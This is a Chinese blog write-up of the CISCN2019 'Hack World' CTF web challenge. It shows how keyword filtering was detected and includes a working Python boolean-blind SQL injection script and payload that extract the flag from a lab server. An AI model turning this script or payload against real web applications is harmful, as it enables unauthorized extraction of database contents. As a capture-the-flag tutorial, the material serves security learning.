[CISCN2019 华北赛区 Day2 Web1]Hack World 1 题目分析与详解

2024-06-04 8437阅读

一、分析判断

进入靶机,主页面如图:

[CISCN2019 华北赛区 Day2 Web1]Hack World 1 题目分析与详解 第1张

主页面提供给我们一条关键信息: flag值在 表flag 中的 flag列 中。

接着我们尝试输入不同的id,情况分别如图:

当id=1时:

[CISCN2019 华北赛区 Day2 Web1]Hack World 1 题目分析与详解 第2张

当id=2时:

[CISCN2019 华北赛区 Day2 Web1]Hack World 1 题目分析与详解 第3张

当id=3时:

[CISCN2019 华北赛区 Day2 Web1]Hack World 1 题目分析与详解 第4张

 我们发现,页面提示该用户不存在,往后输入4、5....依旧如此,id=0时也一样。

当尝试 id= abc等字母时:

[CISCN2019 华北赛区 Day2 Web1]Hack World 1 题目分析与详解 第5张

提示类型错误,我们猜测注入类型为数字型注入。

带着猜测,我们尝试 id=1':

[CISCN2019 华北赛区 Day2 Web1]Hack World 1 题目分析与详解 第6张

 猜测成立,注入类型为数字型注入。

然后我们尝试从表flag,列flag中查询flag的值:

1 union select flag from flag

[CISCN2019 华北赛区 Day2 Web1]Hack World 1 题目分析与详解 第7张

意外出现了,页面提示我们后端代码中存在SQL注入检测,说明注入语句中有关键字被过滤了。

我们需要查询哪些关键字被过滤了。

当我们尝试 id=select时:

[CISCN2019 华北赛区 Day2 Web1]Hack World 1 题目分析与详解 第8张

显示类型错误,显然后端将 select 当成用户名了,那我们加上1试一试。

当 id=1 select 时:

[CISCN2019 华北赛区 Day2 Web1]Hack World 1 题目分析与详解 第9张

我们发现 select 果真被过滤了,发现检查方法之后,利用Burpsuite抓包和Fuzz字典对id进行爆破,检测哪些关键字被过滤掉了。

[CISCN2019 华北赛区 Day2 Web1]Hack World 1 题目分析与详解 第10张

[CISCN2019 华北赛区 Day2 Web1]Hack World 1 题目分析与详解 第11张

通过查看 resoponse 得知,Length=535的关键字全部都被过滤掉了,其中 union、select、extracvalue、updatexml、sleep等常见注入关键字全部都被过滤,目前只剩下一条路可走---布尔盲注。

从上文得知,id=1时,页面会回显一段文字,那么我们使用布尔盲注,使布尔值等于1,那么等效于我们在 id框中输入1。

如:

(ascii(substr((select(flag)from(flag)),1,1))>32) 若成立,则会返回1,id=1时会回显出一段字符,根据是否回显,我们可以一个一个地将flag中的字符拆解出来。

这就需要我们使用到 python 去编写盲注脚本:

import time
import requests
url = "http://3d63bec3-9674-4015-8b95-665ab2c68324.node5.buuoj.cn:81/index.php"
result = ""
for i in range(1, 50):
    for j in range(32, 128):
        #time.sleep(0.1)
        payload = "(ascii(substr((select(flag)from(flag)),{m},1))>{n})"
        response = requests.post(url=url, data={'id':payload.format(m=i,n=j)})
        if response.text.find('girl') == -1:
            result += chr(j)
            print(j)
            break
    print("正在注出flag:", result)
print("flag的值为:", result)

跑出结果如下图:

[CISCN2019 华北赛区 Day2 Web1]Hack World 1 题目分析与详解 第12张

最终拿到 flag,成功提交通关。


    免责声明:我们致力于保护作者版权,注重分享,被刊用文章因无法核实真实出处,未能及时与作者取得联系,或有版权异议的,请联系管理员,我们会立即处理! 部分文章是来自自研大数据AI进行生成,内容摘自(百度百科,百度知道,头条百科,中国民法典,刑法,牛津词典,新华词典,汉语词典,国家院校,科普平台)等数据,内容仅供学习参考,不准确地方联系删除处理! 图片声明:本站部分配图来自人工智能系统AI生成,觅知网授权图片,PxHere摄影无版权图库和百度,360,搜狗等多加搜索引擎自动关键词搜索配图,如有侵权的图片,请第一时间联系我们,邮箱:ciyunidc@ciyunshuju.com。本站只作为美观性配图使用,无任何非法侵犯第三方意图,一切解释权归图片著作权方,本站不承担任何责任。如有恶意碰瓷者,必当奉陪到底严惩不贷!

    目录[+]